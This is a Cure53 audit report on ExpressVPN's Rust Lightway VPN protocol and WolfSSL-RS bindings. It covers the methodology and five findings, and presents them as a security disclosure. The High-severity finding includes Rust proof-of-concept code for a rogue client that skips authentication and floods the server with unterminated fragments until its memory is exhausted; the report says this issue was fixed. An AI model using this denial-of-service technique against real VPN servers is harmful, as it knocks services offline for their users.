Fine penetration tests for fine websites

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Audit-Report ExpressVPN Lightway Protocol 10.-11.2024

Cure53, Dr.-Ing. M. Heiderich, Dr. D. Bleichenbacher, Dr. N. Kobeissi, MSc. H. Moesl-Canaval, MSc. A. Schloegl

Index

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Introduction

“Lightway is ExpressVPN’s pioneering new VPN protocol, built for an always-on world. It makes your VPN experience speedier, more secure, and more reliable than ever. Designed to be light on its feet, Lightway runs faster, uses less battery, and is easier to audit and maintain.”

From https://www.expressvpn.com/lightway

This report describes the results of a security assessment of the ExpressVPN Rust Lightway implementation, and WolfSSL-RS sources. The project was conducted by Cure53 in late October and early November of 2024.

The audit, registered as *EXP-16*, was requested by ExpressVPN in September 2024. For some specifics, Cure53 has already investigated the source code pertaining to the ExpressVPN Lightway. More precisely, the components were targeted during an audit held in October and November 2022 (see *EXP-13*). However, it should be noted that the current *EXP-16* investigation focuses on the re-implementation of Lightway in Rust, while *EXP-13* focused on C-implementation.

In terms of the exact timeline and specific resources allocated to *EXP-16*, Cure53 has completed the research in CW43 and CW44, as scheduled. In order to achieve the expected coverage for this task, a total of twenty-four days were invested. In addition, it should be noted that a team consisting of five senior testers was formed and assigned to the preparation, execution, documentation, and delivery of this project.

For optimal structuring and tracking of tasks, the assessment was divided into two separate work packages (WPs):

- **WP1**: Source code audits & security reviews of ExpressVPN Lightway sources
- **WP2**: Source code audits & security reviews of ExpressVPN WolfSSL-RS sources

As the titles of the WPs indicate, the white-box methodology constituted the framework of this *EXP-16* assessment. Cure53 was provided with URLs, a test-environment, as well as all further means of access required to complete the tests. In addition, all sources corresponding to the test targets were shared to ensure that the project could be executed in accordance with the agreed framework.

The project could be completed without any major issues. To facilitate a smooth transition into the testing phase, all preparations were completed in CW42. Throughout the engagement, communications were conducted through a private, dedicated, and shared Slack channel. Stakeholders - including Cure53 testers and the internal staff responsible for the ExpressVPN Lightway protocol - were able to participate in discussions in this space.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Cure53 did not need to ask many questions, and the quality of all project-related interactions was consistently excellent. The continuous exchange contributed positively to the overall results of this project. Significant roadblocks were avoided thanks to clear and careful preparation of the scope.

While no live-reporting was requested in the frames of *EXP-16,* Cure53 provided frequent status updates on the examination and emerging findings to the customer.

The Cure53 team achieved very good coverage of the WP1-WP2 objectives. Of the five security-related discoveries, only one was classified as a security vulnerability and four were classified as general weaknesses with lower exploitation potential.

Cure53 identified a single *High* severity denial of service vulnerability (EXP-16-004), which should not be underestimated as it addresses a potential denial of service scenario. Overall, however, Cure53's very limited number of findings, especially with only one exploitable vulnerability, can be interpreted as a positive sign for the security of the ExpressVPN Lightway protocol.

Further, Cure53 emphasizes that the miscellaneous issues outlined in this report are considered defense-in-depth recommendations aimed at bolstering the overall security posture of the codebase. Ultimately, it can be argued that the ExpressVPN Lightway protocol and its implementation in Rust are already in a good state of security. Yet, it is still recommended to swiftly implement all of the detailed recommendations, fixes and strategic propositions.

The following sections first describe the scope and key test parameters, as well as how the work packages were structured and organized. Then, what the Cure53 team did in terms of attack attempts, coverage, and other test-related tasks is explained in a separate chapter on test methodology.

Next, all findings are discussed in grouped vulnerability and miscellaneous categories. The issues assigned to each group are then discussed chronologically within each category. In addition to technical descriptions, PoC and mitigation advice is provided where applicable.

The report ends with general conclusions relevant to this *EXP-16* project. Based on the test team's observations and the evidence collected during this October-November 2024 examination, Cure53 elaborates on the overall impressions and reiterates the verdict. The final section also includes tailored hardening recommendations for the Express VPN Lightway and Wolf-SSL-RS sources.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Scope

- **Source code audits & security assessments of ExpressVPN's Lightway protocol**
  - **WP1:** Source code audits & security reviews of ExpressVPN Lightway sources
    - **Source code:**
      - https://github.com/expressvpn/lightway
    - **Branch:**
      - main
    - **Commit:**
      - 08df49c5e318897d18f6a94780245a63487eb6b3
    - **Key focus:**
      - *expressvpn/lightway*
    - **Test environment:**
      - https://github.com/expressvpn/lightway?tab=readme-ov-file#dev-testing
  - **WP2:** Source code audits & security reviews of ExpressVPN WolfSSL-RS sources
    - **Source code:**
      - https://github.com/expressvpn/wolfssl-rs
    - **Branch:**
      - main
    - **Commit:**
      - 7d87477021ab5d4896df809303b5fccbfcf28c37
    - **Key focus:**
      - *expressvpn/wolfss-rs*
  - **Test-supporting material was shared with Cure53**
  - **All relevant sources were shared with Cure53**

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Severity Scoring Glossary

This section clarifies severity levels assigned to the issues discovered during this project. There are five types of severity scores in total.

Critical: The highest possible severity level. Categorizes issues that allow attackers to achieve extensive access to sensitive areas, such as critical systems, applications, data or other pertinent components in scope.

High: Categorizes issues that allow attackers to achieve a certain degree (but not a total) access to sensitive areas in scope. This also includes issues with limited exploitability that can facilitate a significant impact upon the target in scope.

Medium: Categorizes issues that do not incur major impact on the areas in scope, yet retain relevance. Additionally, issues requiring a more tailored exploitation are graded as *Medium*.

Low: Categorizes issues that have a highly limited impact on the areas in scope. This score mostly does not depend on the level of exploitation but rather on the minor severity of obtainable information or lower grade of damage caused for the areas in scope.

Info: Categorizes issues considered merely informational in nature. They are mostly seen as hardening recommendations or improvements that can generally enhance the security posture of the areas in scope.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Test Methodology

This section details the methodologies and approaches employed by Cure53 during the penetration testing and source code audit of the ExpressVPN's Lightway protocol implementation. The assessment focused on a comprehensive evaluation of the security posture of the Lightway codebase, including its cryptographic components, state management, and potential vulnerabilities arising from unsafe code practices.

Testing Approaches

The testing strategy was split into static code analysis and dynamic testing to ensure thorough coverage of the scope.

For the static code analysis, the testing team performed an in-depth review of the source code to identify security weaknesses, unsafe coding practices, and potential vulnerabilities in the implementation of the cryptographic primitives. The general design and implementation of the Lightway VPN core, client and server components was also examined. Dedicated attention was paid to state machine, packet formatting and authentication logic of the Lightway VPN.

In terms of the dynamic testing, execution of the Lightway components in a controlled environment was used to observe runtime behaviors, as well as to test for vulnerabilities such as Denial-of-Service attacks. Cure53 set out to validate the effectiveness of security controls in real-world conditions.

Lightway Core, Client and Server (WP1)

WP1 followed the already noted dual methodological approach of static code analysis and dynamic testing.

The static analysis focused on the internal mechanics and components of the Lightway protocol, with particular observations for five areas.

First, the testers looked at state machine integrity. Its robustness and capability to detect and stop improper state transitions was investigated. The testers noted that the enforcement of valid state transitions could be improved with a minor redesign of the checks, i.e., moving them into the *set_state* function.

While no security impact is incurred with the current implementation of the state machine, the above recommendation was still added to the report as a defense-in-depth improvement of security (see EXP-16-002).

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Second, the cryptographic operations and the use of cryptographic functions were investigated. This includes key derivation or generation processes, and the adherence to best practices of handling key material. Some suggestions for improvements were identified in this regard, as explained in EXP-16-001.

Third, the session management, including initiation, termination, session ID generation/rotation was audited. Testers found these mechanisms to be robust and engineered properly.

Authentication mechanisms constituted the fourth focus area of static testing efforts. User authentication mechanisms, including password handling and verification, were inspected. Additionally, the certificate- and token-based authentication was audited.

Notably, the *checking* functionality is handed off to robust outside crates. The testers briefly checked the security policies and strategies of the used crates, ultimately finding them sufficiently secure. The audited checks are made in a constant-time fashion, ensuring the authentication is robust against side-channel attacks.

Lastly, the testers reviewed the implementation of certificate pinning on both client and server sides, attesting to their aptness in preventing Man-in-the-Middle attacks.

Moving on to dynamic tests of WP1, it should be reiterated that these were conducted to observe the behavior of the Lightway components during execution. Relevant approaches and outcomes are detailed next.

The overall handling of proxy packets was analyzed, including handling in the presence of malformed or malicious inputs. This helped Cure53 understand the behavior of the proxy, and informed all subsequent steps of the testers. Attention was directed to the handling of fragmented packets. The robustness of the state machine, also in the presence of fragmented data, was examined in great detail. The storing of packet fragments for later merging seemed potentially dangerous to the testers.

As later confirmed, the current implementation will lead to a Denial-of-Service (DoS) issue if attackers send a number of incomplete packets to the proxy, which will store the fragments until it runs out of resources. This DoS attack also works if the connection is not yet authenticated (it is not yet in the *"Connected"* state). Further details can be found in EXP-16-004.

The Lightway codebase contains a number of parsers that construct data models from raw byte arrays. In addition to the source code audit, these were analyzed using fuzz testing. Using and expanding on the existing fuzzing tools within the project allowed the testers to stress-test the proxy packet parsing of the *ppp* crate.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

In addition to the *ppp* crate, the testers also built fuzzing harnesses to test the handling of fragmented packets. Crashes or panics during reconstruction of these fragments could trigger a DoS condition for the proxy server. Even with continuous fuzz testing for a number of days, no instabilities were identified in the fragment merging logic.

The session ID rotation of the proxy server is another location marked by higher complexity in the codebase. As connections and state are coordinated using the session ID, rotation is a significant target for attackers. Race conditions and other potential collision or DoS scenarios were investigated in this context. Issue EXP-16-003 was filed over the course of this analysis.

Lastly, WP1 entailed an inspection of file permission checks. The security of the proxy's tunnel device was broadly investigated, while the effectiveness of file permission checks enforced by *fs_mistrust* was emphasized during the project. Attempts to bypass the file permission checks were not successful.

WolfSSL Bindings (WP2)

The Cure53 team scrutinized the Rust bindings for the WolfSSL library, focusing on several areas. First, cryptographic primitives took center stage. Verification of the correct implementation and usage of cryptographic algorithms were the two main tasks. It was found that the code uses underlying libraries for the implementation of cryptographic functionality. As a consequence, Cure53 focused on the proper use of these functions, i.e., use of authenticated ciphers, cryptographically strong key generation, no nonce reuse, etc.

The testers looked at the high-level TLS functions. Assessment concerned the TLS handshake processes and session management functionality exposed through the WolfSSL Rust bindings. In the area of unsafe code exposure, an analysis was focused on the *unsafe* Rust code blocks, which were checked for potential memory safety issues. A relatively high number of unsafe statements can be seen in the code due to the use of libraries not written in Rust. This usage prevents the Rust compiler from rigorously checking memory safety. At the same time, the Cure53 team reviewed the unsafe statements and found no issues. The review was greatly supported by the careful documentation of the necessary preconditions in the code.

Examination of pointer usage - which should prevent vulnerabilities such as null pointer dereferencing or memory leaks - was carried out. Unsafe statements are being used instead of Rc or Arc structures to handle pointer management in some locations. Fortunately, the number of such places is very limited. Ownership and liveness of the affected data structures are well-documented, so that it was possible to confirm the correctness of their use.

Finally, interactions with *libc* were inspected by reviewing calls to the C standard library. This area ensures safe interoperability between Rust and C code.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Identified Vulnerabilities

The following section lists all vulnerabilities and implementation issues identified during the testing period. Notably, findings are cited in chronological order rather than by degree of impact, with the severity rank offered in brackets following the title heading for each vulnerability. Furthermore, each ticket has been given a unique identifier (e.g., *EXP-16-001*) to facilitate any follow-up correspondence in the future.

EXP-16-004 WP1: Unauthenticated data fragments facilitate server DoS *(High)*

CVSS Score: 8.7
CVSS String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
CWE: https://cwe.mitre.org/data/definitions/400.html

***Fix Note**: The issue was addressed by the ExpressVPN team and the fix was verified by Cure53 who were able to review the related diff & PR. The issue no longer exists.*

Upon reviewing the source code of the Lightway repositories, it was identified that the Lightway server accepts data fragments from clients without authentication. Additionally, each client's fragments are stored in an *LRUCache* on the server with a maximum capacity of *u16::MAX*. If the client does not mark the last fragment with the *more_fragments* flag set to *false*, the server retains all prior fragments until the tunnel is closed. This potentially enables an unauthenticated DDoS attack against the server application.

Steps to reproduce:

1. Follow the setup for server and client, as documented in the main *README* of the repository[1]. Build and start the server.
2. Adapt the source code of *lightway-core* and *lightway-client* in order to create a rogue client in a manner shown next.

   Affected file:
   lightway-core/src/connection.rs

   Affected code:
```
fn set_state(&mut self, new_state: State) -> ConnectionResult<()> {
[...]

if matches!(new_state, State::LinkUp) {
if let ConnectionMode::Client { auth_method, .. } = &self.mode {
// disable client authentication
// self.authenticate(auth_method.clone())?;
}
};
```

[1] https://github.com/expressvpn/lightway?tab=readme-ov-file#dev-testing

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

```
Ok(())
}

// add this function
pub fn inside_data_received_pentest(&mut self, data: &Bytes,
fragment_id : u16) -> ConnectionResult<()> {
self.send_fragmented_outside_data_pentest(data.clone(), 8192,
fragment_id)
}


// add this function
fn send_fragmented_outside_data_pentest(
&mut self,
mut data: Bytes,
mps: usize,
fragment_id : u16
) -> ConnectionResult<()> {

let id = fragment_id;
let mut offset = 0;
while !data.is_empty() {
let frag = data.split_to(std::cmp::min(mps, data.len()));
let frag = wire::DataFrag {
id,
offset,
data: frag,
more_fragments: true
};
let msg = wire::Frame::DataFrag(frag);
self.send_frame_or_drop(msg)?;
offset += mps;
}
Ok(())
}
```

Affected file:
lightway-client/src/lib.rs

Affected code:

```
pub async fn inside_io_task<T: Send + Sync>(
conn: Arc<Mutex<Connection<ConnectionState<T>>>>,
inside_io: Arc<dyn io::inside::InsideIO>,
tun_dns_ip: Ipv4Addr,
) -> Result<()> {
loop {

[...]
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

```
use std::{thread, time};
use bytes::Bytes;
let ten_millis = time::Duration::from_millis(10);

let buffer = vec![0u8; 64 * 1024];
let data = Bytes::from(buffer);

for i in 0..=u16::MAX {
let _ = conn.inside_data_received_pentest(&data, i as u16);
thread::sleep(ten_millis);
}

// match conn.inside_data_received(&mut buf) { // remove me
//    [...]
// }
}
}
```

3. Build and start the client by following the *README* file.
4. Change to the *lightway-client* namespace and send one single ping packet to the *lightway-client* via the TUN device in order to start the PoC presented below.

   PoC:

   ```
   sudo ip netns exec lightway-client bash
   ping google.com -c 1
   ```

5. Check the RAM usage of the *lightway-server* binary via the Linux tool top and observe the high utilization:

   ```
   PID USER      PR  NI    VIRT    RES    SHR S  %CPU  %MEM     TIME+
   COMMAND
   48829 root      20   0    9,9g    5,8g  12288 S   0,0   6,6   0:46.38
   lightway-server
   ```

   During the testing phase, one single unauthenticated client was able to allocate ~6GB of physical RAM on the server machine to the client connection.

To mitigate this issue, Cure53 recommends configuring a smaller *LRUCache* and setting a time limit for fragment retention before clearing the cache. Additionally, it is advised to permit data fragments only after a client has successfully authenticated. Packets used before that, such as *AuthorizeRequest*, are not large enough to require immediate fragmentation.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Miscellaneous Issues

This section covers any and all noteworthy findings that did not incur an exploit but may assist an attacker in successfully achieving malicious objectives in the future. Most of these results are vulnerable code snippets that did not provide an easy method by which to be called. Conclusively, while a vulnerability is present, an exploit may not always be possible.

EXP-16-001 WP1: Lack of native support for secure password hashing *(Medium)*

CVSS Score: 6.8
CVSS String: CVSS:4.0/AV:L/AC:H/AT:P/PR:H/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N
CWE: https://cwe.mitre.org/data/definitions/916.html

Note from ExpressVPN*: In our production implementation of Lightway, which builds on this reference implementation, ExpressVPN uses a more advanced user authentication mechanism (SHA512, along with randomly generated usernames and password, dissociated from their user accounts) that ensures user credentials are not vulnerable to brute-force attacks. This implementation of the Rust Lightway client and server is designed to be a reference implementation of the highly performant Lightway VPN protocol that anyone can adopt. We are providing it to the open source community so that anyone who wishes to implement it can rapidly set up a development environment with widely adopted authorization options. Given that this is a reference implementation, a basic user / password database format with widely used hashing algorithms was chosen for easy setup. Other users in the open source community are free to modify the reference implementation to suit their security needs.*

The Lightway core library uses the *pwhash* Rust crate[2] in order to provide password hashing functionality on the server. The *pwhash* crate, however, only offers password hashing functions which are insecure when it comes to hardware-accelerated attacks. These include *bcrypt, md5_crypt, sha1_crypt, sha256_crypt* and *unix_crypt.* In addition, Lightway also supports the Apache MD5 *httpasswd* format.

All of the aforementioned hash formats are considered obsolete and unsuitable for password hashing in 2024. Aside from most of them being vulnerable to brute force attacks on consumer hardware (e.g., *md5_crypt* and Apache MD5), even *bcrypt*, the strongest offered password hashing function, has been vulnerable to hardware-accelerated attacks for years. It needs to be underscored that the effectiveness of these attacks is increasing substantially year after year.

[2] https://crates.io/crates/pwhash

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

It is strongly recommended that password hashing be migrated to rely exclusively either on *scrypt* or *Argon2id.* Both represent modern password hashing functions which are resistant to hardware-accelerated attacks. In particular, *scrypt* has been proven to be maximally memory-hard[3]. In addition, switching to *Argon2id* or *scrypt* has been recommended by OWASP since at least 2022. OWASP also offers official guidance on this migration process[4].

EXP-16-002 WP1: Suggested improvements to state machine security *(Low)*

CVSS Score: 4.9
CVSS String: CVSS:4.0/AV:L/AC:H/AT:P/PR:H/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H
CWE: https://cwe.mitre.org/data/definitions/696.html

Note from ExpressVPN*: The set_state function in lightway-core/src/connection.rs is an internal helper function containing common operations factored out from other state transition logic inside the Lightway core implementation. If the set_state function is viewed in isolation, it would appear that it enforces no state transition checks. However, within the Lightway implementation the set_state function is always used as part of a larger state transition logic, which by design does state transition checks before calling set_state. Therefore, there is no issue at the present moment. While there is a risk that future code changes could call set_state without first validating the state transition, the risk is low given the review and approval process by another developer that would likely catch such a risk before any Lightway code changes are merged.*

The *set_state* function in the Lightway core library does not enforce valid state transitions within its state machine. This lack of validation allows arbitrary transitions between states.

This can lead to security vulnerabilities similar to those exploited, for example, in SMACK-TLS (State Machine Attacks on TLS)[5]. Depending on how the library is integrated into the application layer, an attacker could manipulate the state machine to bypass critical security checks or requirements. From this perspective, invalid session state or, potentially, compromised communication channels could be envisioned.

Affected file:
lightway-core/src/connection.rs

[3] https://eprint.iacr.org/2016/989
[4] https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html
[5] https://mitls.org/pages/attacks/SMACK

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Affected code:

```
pub enum State {
    /// Secure connection is being established.
    Connecting = 2,

    /// Secure connection is established
    LinkUp = 6,
    /// Connection is established, client is authenticating
    Authenticating = 5,
    // Configuring,
    /// Tunnel is online
    Online = 7,
    /// Disconnect is in progress
    Disconnecting = 4,
    /// Connection has been disconnected
    Disconnected = 1,
}

fn set_state(&mut self, new_state: State) -> ConnectionResult<()> {
    if self.state == new_state {
        return Ok(());
    };
    info!(state = ?new_state);
    self.state = new_state;
    self.event(Event::StateChanged(new_state));
    if matches!(new_state, State::Online) {
        // Actions for State::Online
    }
    if matches!(new_state, State::LinkUp) {
        // Actions for State::LinkUp
    };
    Ok(())
}
```

The *set_state* function directly assigns *new_state* to *self.state* without validating whether the transition from the current state to the new state is allowed. There are no checks to ensure that the state progression follows a secure and logical sequence (e.g., from *Connecting* to *LinkUp* to *Authenticating* to *Online*). The function effectively allows transition from any state to any other state, including backwards transitions that could skip critical authentication steps.

By forcing the state machine into unexpected states, attackers might exploit race conditions or unhandled exceptions, potentially causing Denial-of-Service or similar issues. Skipping states that handle key exchange or encryption setup could also lead to unencrypted or improperly secured communications channels.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

It is recommended to clearly define a state transition matrix, ideally offering a graph that explicitly outlines allowed state transitions. Moreover, transition within *set_state* should be validated before setting any new states. Invalid transitions should be rejected and appropriately logged as potential errors.

EXP-16-003 WP1: Potential session ID collision after rotation facilitates DoS *(Info)*

CVSS Score: 0.0
CVSS String: -
CWE: -

***Note from ExpressVPN**: In the extremely low likelihood that a session ID collision occurred, the client would simply perform a reconnect. We make use of a cryptographically secure random number generator for session ID generation, and rotate the session ID every 15 minutes, which means the chance of a collision is extremely unlikely. However, in the rare event that the client gets assigned to a session ID that is not unique, and the client changes network within the 15 minutes window, the client would get matched against the wrong session, its packets will fail the DTLS decryption check, and receive a reject message from the server. The client will then trigger a reconnect afterwards. Due to this, a Denial of Service is not possible under these circumstances.*

During the source code audit of the Lightway repositories, it was determined that the Lightway server performs session ID rotation for DTLS. For that purpose, a new 8-byte session ID is generated.

While the code checks for invalid values such as *0x00...00* and *0xFF...FF*, it does not check whether the newly generated session ID is already in use within a pending or active session. In the worst-case scenario, this oversight could lead to a DoS condition for an existing client using the same session ID, as the session cache would remove this active client session, however, this would just end up causing a reconnect, not an actual denial of service.

Affected file:
lightway-core/src/connection.rs

Affected code:

```
pub fn rotate_session_id(&mut self) -> ConnectionResult<SessionId> {
    use ConnectionMode::*;

    match self.mode {
        Client { .. } => Err(ConnectionError::InvalidMode),
        Server {
            pending_session_id: Some(pending_session_id),
            ..
        } => Ok(pending_session_id),
        Server {
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

```
                ref mut rng,
                ref mut pending_session_id,
                ..
            } => {
                let new_session_id = rng.lock().unwrap().gen();

                self.session.io_cb_mut().set_session_id(new_session_id);

                *pending_session_id = Some(new_session_id);

                Ok(new_session_id)
            }
        }
    }
```

Although the likelihood of a conflicting 8-byte session ID is rather low, Cure53 recommends either using 16-byte session IDs or checking if the newly generated ID has already been in use by another client.

EXP-16-005 WP1: Potentially disabled *MistrustBuilder* in release build *(Info)*

CVSS Score: 0.0
CVSS String: -
CWE: -

***Note from ExpressVPN**: We agree with Cure53 that a distinction should be made between development and release software. However, we advocate not just for maintaining different development and release versions of Lightway, but of the entire VPN server infrastructure itself. Thus, we don't believe in allowing a developer access to and altering a production VPN server; development should be done on development VPN servers only. This removes the risk of unintentionally leaving wrong configurations behind such as setting the environment variable named LW_DANGEROUSLY_DISABLE_PERMISSIONS_CHECKS in production. In addition, our VPN infrastructure is defined by IaC, and is immutable once launched, preventing modifications. However, with this being a reference implementation, we recognize others may implement Lightway differently or may have different testing needs, so we specifically chose an environment variable name that raises red flags for any developer that chooses to use this option.*

During a source code audit of the Lightway repositories, it was identified that the Rust crate *fs_mistrust* is utilized to perform permission checks on sensitive files, such as the server private key and user database. For development purposes, an environment variable named *LW_DANGEROUSLY_DISABLE_PERMISSIONS_CHECKS* is available, allowing temporary bypassing of these checks to facilitate the testing process.

If a developer unintentionally leaves the environment variable enabled on a production system, it could lead to unauthorized access for a local attacker to sensitive files. This is

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

because the server application would otherwise detect and flag overly permissive access settings.

Affected file:
lightway-app-utils/src/utils.rs

Affected code:

```
pub fn validate_configuration_file_path(path: &PathBuf, validate: Validate)
-> Result<()> {
    let mistrust = Mistrust::builder()
        .controlled_by_env_var("LW_DANGEROUSLY_DISABLE_PERMISSIONS_CHECKS")
        .build()?;

    let verifier = mistrust.verifier().require_file();
    let verifier = match validate {
        Validate::OwnerOnly => verifier,
        Validate::AllowWorldRead => verifier.permit_readable(),
    };

    verifier.check(path)?;
    Ok(())
}
```

Cure53 recommends using distinct development and release versions. The development version would enable debug output by default and allow potentially risky features, such as *LW_DANGEROUSLY_DISABLE_PERMISSIONS_CHECKS*. In this way, the developers would retain the option to disable permission checks on sensitive files. Conversely, the release version would be optimized and restrict the use of the aforementioned environment variable. The latter version should ensure that strict permissions on sensitive files are consistently enforced in all situations.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Conclusions

The *EXP-16* assessment of the ExpressVPN Lightway protocol was conducted by six testers from the Cure53 team in late October and early November 2024. This is the second source code audit of the ExpressVPN Lightway protocol, following its inclusion in the scope of a prior audit conducted in late 2022 and tracked as *EXP-13*.

Before the start of the test, the customer supplied the testing team with comprehensive documentation outlining key areas of interest and defining the scope. This was highly beneficial, allowing a quick grasp of all in-scope features. Also, ExpressVPN provided access to the source code requiring inspection.

The assessment was structured into two work packages. WP1 concentrated on auditing the Lightway source code written in Rust, while WP2 focused on reviewing the Rust bindings for the third-party WolfSSL library written in C.

The Cure53 team achieved thorough coverage of the WP1-WP2 aims, identifying a total of five findings. Among these, one was classified as a security vulnerability, while the remaining four were categorized as general weaknesses with lower exploitation potential.

Given the relatively low number of flaws documented in *EXP-16*, Cure53 opted to include a detailed list of the steps and methods applied during this security assessment. These are outlined in the Test Methodology chapter and offer greater insights into the techniques and areas evaluated.

As for the findings, the codebase made a generally strong impression, as dictated also by the functionality being minimalistic. This results in a clean and concise implementation in Rust. Rust's memory safety features are effectively leveraged, contributing to a highly robust and stable library / application.

In WP1, the testers employed a combination of static code analysis and dynamic testing within a local client-server setup. As for the former, the codebase that spans the core library and both client and server implementations. Many tools were utilized to thoroughly capture, dissect, and analyze all interactions between the client and server, ensuring comprehensive understanding of their behaviors and potential vulnerabilities.

While some functions are marked as *unsafe*, all such locations have precisely worded comments arguing why these calls are in fact safe. The testers have audited these locations and confirmed that the reasoning is sound. The *unsafe* locations are necessitated by the use of the underlying C libraries for low level networking interaction. It seems to the testers that the current strategy is vastly preferable to outsourcing the *unsafe* calls to an outside library that would not be controlled by ExpressVPN.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

The strong overall security posture of the codebase is further demonstrated by the low count of exploitable vulnerabilities, with only a single DoS vulnerability identified. This vulnerability pertains to the handling of message fragments before authentication. It signifies that an unauthenticated attacker can send an unlimited number of fragments, potentially exhausting the server's memory. This issue, along with a recommended mitigation approach, is thoroughly documented in the report as EXP-16-004.

Besides the single vulnerability, only minor issues were identified throughout the testing process. Among them, EXP-16-001 documents how the password hashing mechanisms offered by Lightway's chosen built-in password hashing library rely on outdated algorithms like *bcrypt* and MD5 variants. Migrating to modern, memory-hard functions like *Argon2id* or *scrypt* may help safeguard user credentials against hardware-accelerated attacks.

The state machine was reviewed for compliance with the provided documentation, and it was confirmed that only valid state transitions are called in the current codebase. However, the core functionality does not strictly enforce these transitions.

As discussed in EXP-16-002, Lightway's state machine implementation lacks validation to ensure transitions are legitimate, which could let attackers manipulate session states based on how Lightway is integrated across the application layer. Implementing rigorous validation of state transitions would help mitigate the risk of exploitation through unintended or insecure pathways.

Another minor risk concerns a potential collision in session IDs after rotation, which might incorrectly evict an existing user's session from the cache. This is detailed in EXP-16-003. Discussions with the ExpressVPN led to the conclusion that this is a small issue which is fixed by the client by reconnecting again.

The Lightway Rust implementation has already incorporated fuzz testing, a commendable practice that demonstrates proactive security measures. During the assessment, the testers enhanced the fuzzing process by introducing additional harnesses specifically targeting fragmented packets and proxy packets.

One focus point of the code review was the use of unsafe statements, which prevents the Rust compiler from performing rigorous memory checks. These statements are typically necessary when the code uses underlying libraries (*wolfssl* or *libc)* not written in Rust. It was noted that these statements were carefully written by the developers.

Almost all occurrences of unsafe statements have comments describing the preconditions that are necessary for the safety of these library calls. Direct links to the documentation of the underlying libraries are extremely helpful to resolve potential questions about the validity of such library calls. The bindings demonstrate diligent management of memory allocation and deallocation, effectively reducing the potential for memory leaks and dangling pointers.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Despite the necessary use of *unsafe* code blocks, the bindings make a concerted effort to confine *unsafe* operations to small, auditable sections of the codebase. This practice maintains the integrity of Rust's safety guarantees as much as possible in the rest of the application, reducing the risk of introducing vulnerabilities through unsafe interactions.

Attention was given to the correct use status codes, which is a frequent cause for errors with other libraries such as OpenSSL. No oversights were detected. The code typically uses a defensive style, in the sense that unexpected status codes would be treated as exceptions.

The selection of cipher suites was judged as adequate. No use of legacy algorithms was observed. Overall, the codebase was well-structured and the project has been well prepared, which enabled a thorough and efficient audit process. Prioritizing updates to cryptographic components and enhancing state management practices will likely further strengthen the protocol's security posture.

Cure53 would like to underscore that the miscellaneous issues detailed in this report should be viewed as defense-in-depth recommendations aimed at further strengthening the security posture of the entire codebase.

Looking ahead, the Lightway codebase would benefit from regular security audits, as conducted in the past, to address the inherent and emerging security challenges posed by the complexity of its components. It is essential to recognize - both within the scope of this October-November 2024 Cure53 project and beyond - that modifications to one part of the ExpressVPN system may unintentionally impact the security of other interconnected components.

Cure53 would like to thank Brian Schirmacher and Thomas Leong from the ExpressVPN team for their excellent project coordination, support and assistance, both before and during this assignment.